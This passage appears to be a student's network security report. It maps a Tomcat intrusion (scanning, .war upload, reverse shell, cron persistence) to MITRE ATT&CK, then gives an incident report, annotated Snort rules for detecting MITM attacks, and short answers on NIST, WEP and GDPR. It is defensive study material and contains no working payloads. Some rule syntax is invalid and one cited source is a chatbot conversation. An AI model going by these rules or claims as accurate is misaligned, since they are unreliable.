In reference to the baseline of the MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge which, in short, is a playbook of tactics and techniques of the cyberattackers) one can observe that the Tomcat attack closely follows the structure of MITRE demonstrating a full life-cycle from recon to post intrusion behaviours. The chain of events unfolds when an external host (14.0.0.120) performs an active port scanning against internal host (10.0.0.112) probing substantial amount of ports in search for exposed services. This aligns with MITRE's Active Scanning technique which is defined by automated activity rather than a genuine client request. As port 8080 turns out to be available, the attackers set out to flood the system with HTTP GET requests with the help of the brute-forcing tool Gobuster naming directories that would be typical to find within Apache Tomcat environment. Upon identifying a vulnerable endpoint with privileged access (/manager) they place an exploit in the form of .war file through generating a HTTP POST request. The payload enables arbitrary command execution via reverse shell and persistence via cron job which ensures resistance to system changes and reboots. This allows the attacker to establish a C2 center for viewing, modifying and extracting data and lateral movement. Once C2 is established the attacker proceeds to establishing a connection between himself and the host, which in the packet analysis shows as periodic outbound connections to the attacker's external IP on port 443, which blends this encounter with a standard HTTPS traffic so that it doesn't raise any red flags should it be tracked. Finally, packet analysis shows a potential for lateral movement where compromised host initiates a connection to another host on the same LAN via SSHv2 protocol. Although the nature of this connection appears technically trustworthy, its existence lies in sync with what's expected from post-compromise activity, where an attacker leverages protocols like SSH to move within the network after gaining initial access.

MITRE ATT&CK Attack Pattern

1. Reconnaissance

Technique: *Active Scanning* (T1595)

The attacker begins by scanning the target network from an external IP (14.0.0.120), probing multiple ports on the LAN host (10.0.0.112) to identify exposed services. The high volume of SYN packets and multiple destination ports indicate automated reconnaissance rather than standard traffic.

2. Initial Access

Technique: *Exploit Public-Facing Application* (T1190)

Once port 8080 is discovered open, the attacker targets the Apache Tomcat service exposed to the network. Using Gobuster, the attacker issues multiple HTTP GET requests to common and sensitive paths, ultimately identifying the exposed /manager interface.

3. Execution

Technique: *Command and Scripting Interpreter* (T1059)

Upon obtaining access to the Tomcat manager, the attacker uploads a .war file via HTTP POST. This file executes server-side code, allowing the attacker to access root via reverse shell.

4. Persistence

Technique: *Scheduled Task/Job – Cron* (T1053.003)

To maintain access, the attacker triggers a cron job that executes a reverse shell commands in a specific period of time, ensuring consistency in reach between the host and attacker's control server even after system changes.

5. Privilege Escalation

Technique: *Valid Accounts / Abuse Elevation Control Mechanism* (T1078 / T1548)

As mentioned above, the hacker achieves root-level access, as evidenced by the whoami command returning root, enabling unrestricted control over the compromised host.

6. Command and Control (C2)

Technique: *Application Layer Protocol* (T1071.001)

The reverse shell establishes outbound connections from the compromised host to the attacker's external IP over TCP port 443. This traffic blends in with normal encrypted traffic, helping evade detection.

7. Discovery

Technique: *Network Service Discovery* (T1046)

Following compromise, the attacker performs internal recon from the infected host, identifying other systems on the LAN that may be reachable.

8. Lateral Movement (potential)

Technique: *Remote Services – SSH* (T1021.004)

The infected host initiates SSHv2 connections to another LAN host. Although the traffic appears technically valid, the pattern suggests possible lateral movement attempts.

9. Defense Evasion

Technique: *Ingress Tool Transfer & Masquerading* (T1105 / T1036)

The attacker uses standard system utilities (cron, bash, SSH) and legitimate protocols (HTTP, SSH) to blend his activity with normal administrative traffic, reducing the likelihood of detection.

V. INCIDENT RAPPORT

Summary

The PCAP file analysis shows a successful external attack against an internal host on the organisation's LAN. An external attacker, whose IP can be traced back to China, conducted a series of actions that lead to a total compromise of one the hosts on the 10.0.0.1/24 subnet. An external host conducted reconnaissance, exploited an exposed Apache Tomcat management interface, uploaded a malignant file, and established remote access via reverse shell. Analysis indicates also possible lateral movement.

Timeline

Initial activity: Normal internal LAN traffic observed.

Attack initiation: External IP 14.0.0.120 begins unsolicited inbound connections and performs port scanning against 10.0.0.112.

Service discovery: Port 8080 identified as open.

Enumeration: High volume of HTTP GET requests targeting common and sensitive paths (/docs, /examples, /manager), with the help of the tool Gobuster.

Successful Attack: Granted access to the Tomcat /manager interface followed by a POST request uploading a suspicious .war file.

Consistency of action: Reverse shell deployed and scheduled via cron, enabling recurring connections between the attacker and the server.

Post-attack: Outbound traffic from the compromised host to 14.0.0.120 and SSH communication to another internal host (10.0.0.115) observed.

Affected Systems

Primary victim: Internal server: 10.0.0.112

Service: Apache Tomcat 7.0.88 (port 8080)

Attacker: External IP: 14.0.0.120

Potential secondary target: Internal host IP 10.0.0.115 involved in SSH communication with infected IP 10.0.0.112

Seriousness Rate: Critical

Justification:

The attacker breached a directory with administrative privileges that had been used to achieve remote code execution with root access and initiate a command-and-control communication through persistent access.. The presence of a reverse shell and potential lateral movement pattern represents a full system compromise with high risk of data

movement, service abuse, and further network corruption. In the big picture such attack subjects the company to potential PR damage, widespread loss of customer trust, litigation risk, financial penalties and corporate espionage.

Recommended Measures

- 1) Isolate IP 10.0.0.112 from the network.
- 2) Block IP 14.0.0.120 through the firewall and IDS/IPS. Review and restrict firewall rules against admin accounts access.
- 3) Do forensic investigation of the compromised host.
- 4) Restrict access to /manager and other sensitive paths across the entire network.
- 5) Regenerate SSH keys and credentials across the subnet.
- 6) Audit cron jobs for each host across the subnet.
- 7) Implement fail2ban-style anti-brute force measure.
- 8) Do forensic investigation of the host with IP 10.0.0.115 that has been contacted by the victim host via SSH.
- 9) Deploy IDS/IPS or a WAF to detect and block port scanning, automated enumeration, and suspicious web requests before exploitation occurs.
- 10) Remove or customise unused paths like /docs /manager and restrict access to the sensitive directories by IP.

Lessons learned

- 1) Need to implement stronger scanning and protection systems than those already in place (point 9 above).
- 2) Improve access control to directories especially those with admin privileges.
- 3) Services and interfaces that don't need outbound connection with the internet shouldn't have a public exposure.
- 4) Early warning system immediately detecting port scanning needs to be in place.
- 5) Better awareness of security threats and preparedness against different forms of attack needs to be a standard within the organization's culture.

III. PROTECTIVE MEASURES WITH IDS/IPS?

In regards to the attack described in the Part I the most appropriate choice of dealing with it would be a *Network Based Intrusion Detection System*. The justification behind this choice is based on the following facts:

- 1) MITM attack as explained in the definition brought in Part I is a breach between two endpoints, not necessarily affecting any of those endpoints on their own. Whether the attack uses the ARP poisoning, DNS spoofing, SSL stripping these are network level breaches, not directly related to individual hosts (NIDS > HIDS)
- 2) Host based IDS is a type of solution that monitors each endpoint individually (laptop, desktop, server etc.), it analyses file logs, downloads, permission changes and such and tracks suspicious activity on each host independently. HIDS track more concrete changes like infections, unauthorised access or insider threats on the host machines which are the type of changes that would go unnoticed while filtered through the network based IDS. In other words HIDS detects proof of an attack *after* the compromise, NIDS detects it in transit.
- 3) The activities described in Part 1 generate observable anomalies in network, not host traffic: abnormal ARP request patterns, multiple MAC addresses claiming the same IP, suspicious protocol downgrade from HTTPS to HTTP.

A NIDS deployed at a switch SPAN port or gateway can monitor traffic between clients and the network gateway, which is the exact entry point of the MITM attacks.

Some sources (article on Intrusion Detection Systems) argue that PIDS (Protocol based IDS) is the most efficient solution to deploy against MITM attacks. PIDS focuses on detecting anomalies characteristic for specific types attacks that exploit vulnerabilities in network protocols (i.e. DDoS, MITM). PIDS functions as a software application located on a server or a plugin for protocol analysis tools, like Wireshark.

What would NIDS look for in traffic?

MITM has specific network characteristics that would make it distinctive for IDS to detect;

- 1) high level inexplicable ARP replies;
- 2) inexplicable changes in MAC-IP relationships, multiple devices claiming the same IP;
- 3) HTTPS → HTTP downgrade, removal of HTTPS headers from packets, decrypted plaintext traffic to domains when it should be encrypted;
- 4) proxy headers implicating traffic being steered away from the original destination
- 5) cookies being reused from multiple MAC addresses;
- 6) TCP connection behaving awkwardly- sudden/ multiple resets, incomplete or uncalled for handshakes, handshake failures;
- 7) third party proxy/device shows when a traffic that should go directly to gateway pass through another host instead; multiple gateways may also be present;
- 8) missing certificate verification;
- 9) delayed latency- inconsistencies with timing of the packet transmission;
- 10) duplicate packets

Example snort rules

These rules have been copied from official snort community rules (downloadable file on their website) and modified to fit the specific scenario analysed in Part I.

1) Rule 1: Proxy header

This rule is designed to detect whether an attacker tries to interfere with traffic by injecting proxy-related headers. In MITM attacks the attackers often use proxy to route communication through, which happens by manipulating headers. This rule lies on an assumption that the attacker will use the word “proxy” in some form in lower or upper case form to influence how the target server interprets the requests. If not already configured through prior settings, proxy header could be an indicator of a MITM attack, if in connection with other measures.

alert tcp \$EXTERNAL_NET any → \$HOME_NET \$HTTP_PORTS (→ watch TCP traffic and alert if any host/source from the external network enters LAN through any attributed https ports

msg:"MITM Possible malicious proxy header injection detected"; → that's the message shown when the alert occurs

flow:to_server,established; → traffic is going toward the server; connections are already established

http_header; → only inspect the http header

content:"[0A]Proxy[3A]", nocase; → content included “proxy” header, regardless of letter case. 0A and 3A are hex equivalents for a newline and a colon. This is the most important detection condition for the rule

metadata:ruleset community; → community rule, copied from the handbook, info only

service:http; → rule applies only to http traffic

classtype:attempted-man-in-the-middle; → classifies the attack as per description

sid:900001; → rule identifier

rev:1;) → indicates first revision of the rule

2) Rule 2: SSL stripping

This rule is designed to pinpoint SSL stripping. It tracks HTTP traffic flowing back and forth (as MITM attacks involve inbound and outbound traffic) between LAN and external network to detect MITM attacks through known placeholder strings (WebMaster@Microsoft.com as an example). Those are generic placeholders that are historically associated with fake TLS/SSL certificates generated by hacking tools. When attacker performs SSL stripping tokens such as these appear as a consequence of the manipulation instead of genuine certificate. Packets containing those values may suggest that the encryption has been tampered with. Further away the rule tightens monitoring to packets flowing directly to the server.

alert tcp \$HOME_NET any ↔ \$EXTERNAL_NET \$HTTP_PORTS (→ watch TCP and alert if any traffic leaves or arrived to LAN on attributed http ports

msg:"MITM Suspicious TLS negotiation artefact detected in HTTP traffic"; → message if alert detected

flow:to_server,established; → relevant to packets going to the server that are parts of established connection

content:"WebMaster@Microsoft.com", nocase; → example header. In this case a boilerplate placeholder value used for SSL stripping, letter case disregarded

metadata:ruleset community;

service:http;

classtype:attempted-man-in-the-middle;

sid:900002;
rev:1;)

3) Rule 3: ARP spoofing

This rule is designed to prevent ARP spoofing which is the technique used in the scenario described in Part I. Its job is to monitor all ARP traffic. ARP doesn't use ports and operates on the network level. The rule focuses specifically on ARP replies since the culprit of the MITM attack is from attacker to send multiple fake ARP replies to trick devices into believing that attacker's MAC address belongs to a genuine IP. Normally such replies are sporadic and isolated hence the filter is set to track ARP replies by source and triggers an alert if five or more ARP replies are sent by the same source within 10 seconds.

alert arp any any → **any any** (→ monitor all ARP traffic. ARP doesn't use ports therefore all traffic is being watched
msg:"MITM Possible ARP spoofing detected: multiple ARP replies";
arp_opcode:reply; → rule relevant only to replies. In ARP spoofing the attackers send ARP replies.
detection_filter:track by_src, count 5, seconds 10; → tracks responses by MAC/IP source, alerts if 5 matching responses sent within 10 seconds
classtype:attempted-man-in-the-middle;
sid:900010;
rev:1;)

Additional protective measure

Encryption enforcement: in addition to IDS detecting the traffic, encryption enforcement prevents the hacker from decrypting the traffic should it be intercepted anyway. In practical terms it means reinforcing HTTPS encryption over HTTP traffic, HSTS (HTTP Strict Transport Security) and implementing strictly TLS 1.2 and above. HSTS forces browsers to use HTTPS only and rejects HTTP traffic automatically, effectively preventing conditions for TLS stripping (HSTS must be also allowed by the website). This is already a default setting in several quality browsers such as Mozilla. Additionally, strong TLS configuration prevents intruders from routing the traffic through a proxy without triggering certificate warnings. When combined with certificate pinning (which is a technique of implementing a specific, trusted certificate even despite CA recommendation), fake certificates would be rejected.

PART IV- QUESTIONS

Safety standards: Name a security standard, framework, or guideline that is relevant to network security (e.g. ISO 27001, NIST, CIS Controls). Describe briefly what it means and why it is important.

Chosen standard: NIST AC-4(4): Flow Control of Encrypted Information

Statement: *Statement: Prevent encrypted information from bypassing [Assignment: organization-defined information flow control mechanisms] by [Assignment (one or more): decrypting the information, blocking the flow of the encrypted information, terminating communications sessions attempting to pass encrypted information, [Assignment: organization-defined procedure or method].*

Description: This rule requires organisations to make sure that the encrypted traffic doesn't bypass security measures just because it's encrypted. Encryption can be stripped by blocking the flow of information, terminating communications or simply decrypting information. The purpose of this rule is to prevent cybercrooks from embedding their activity such as data extraction of C2 communication in an encrypted traffic.

Wireless security: Why is WEP no longer used for wireless networks? What is used and why is it safer?

WEP is no longer used because of its cryptographic vulnerabilities, most commonly the IV (Initialisation Vector), which is 24bits long and gives users only 16mln possible IV+key combinations. This can be brute-forced within minutes without even alerting the network admin. The encryption relies on the RC4 stream cipher, which is vulnerable to cryptanalysis and deemed insecure compared to, for instance, AES. Modern networks use WPA2 and WPA3 which implement AES-CCMP encryption which prevents key reuse, protect against replay attacks and are much harder to crack.

Law (GDPR): A company suffers from a data breach where customers' personal data has leaked. What requirements does GDPR impose on the company when it comes to reporting the incident?

According to the GDPR article 33, the company must report the breach to the relevant authority within 72 hours, unless the breach is unlikely to cause individual loss of rights and freedoms. However if it does, the organisation must also alert the customers immediately. The information has to describe the nature of the breach, the data affected, likely consequences, and the measures taken to mitigate the damage.

Sources:

I.

- Imperva, <https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/>
- Vivek Jamwal, Scribd, <https://www.scribd.com/document/51648691/report?v=0.764>
- Imperva, <https://www.imperva.com/learn/application-security/apt-advanced-persistent-threat/>
- Valency Networks Ltd., <https://valencynetworks.com/articles/cyber-attacks-explained-man-in-the-middle-attack.html>

II and V.

- Sneh Bavarva, Medium, 2024, <https://snehbavarva.medium.com/privilege-escalation-techniques-series-linux-cron-jobs-a5b797b424b4>
- Tej Prakash, Medium, 2025, <https://medium.com/@tejprakashbk1996/how-to-find-malicious-traffic-with-wireshark-beginners-guide-b558f6c8032d>
- Imperva, <https://www.imperva.com/learn/application-security/reverse-shell/>
- ATT&CK Matrix, <https://attack.mitre.org>
- Chris Prall, CrowdStrike, 2025, <https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/mitre-attack-framework/>
- r0bots, Medium, 2025, <https://r0bots.medium.com/how-i-can-trigger-remote-code-execution-via-cron-job-b7d9d7dc9372>

III.

- Geegs For Geeks, 2025, <https://www.geeksforgeeks.org/computer-networks/difference-between-hids-and-nids/>
- IntrusionDetectionSolutions, <https://intrusiondetectionsolutions.com/intrusion-detection-systems-artificial-intelligence-cyber-security-expert/>
- Fortinet, <https://www.fortinet.com/resources/cyberglossary/intrusion-detection-system>
- Snort, <https://www.snort.org>
- snort community rules download: <https://www.snort.org/downloads>

IV.

- NIST → CSF Tools, <https://csf.tools/reference/nist-sp-800-53/r5/ac/ac-4/ac-4-4/>
- WEP → FORUM, <https://security.stackexchange.com/questions/191060/is-wep-still-a-thing>
- Tvrpism, Medium, 2025, <https://medium.com/@Tvrpism/why-wep-is-broken-and-how-wpa-tried-to-fix-it-6ce0d273ece4>
- Wikiepdia, <https://chatgpt.com/c/6981a927-0e74-832d-8802-1ccabe419d02>
- GDPR → GDPR INFO, <https://gdpr-info.eu/art-33-gdpr/>

Individual facts provided in this material are also formed through own reading outside of the course (for instance “The Art of Deception”, “The Art of Invisibility” by Kevin Mitnick as well as other publications) and interaction with people with connection to cybersecurity (professionals within the field, programmers, students of engineering and mathematics department at LU).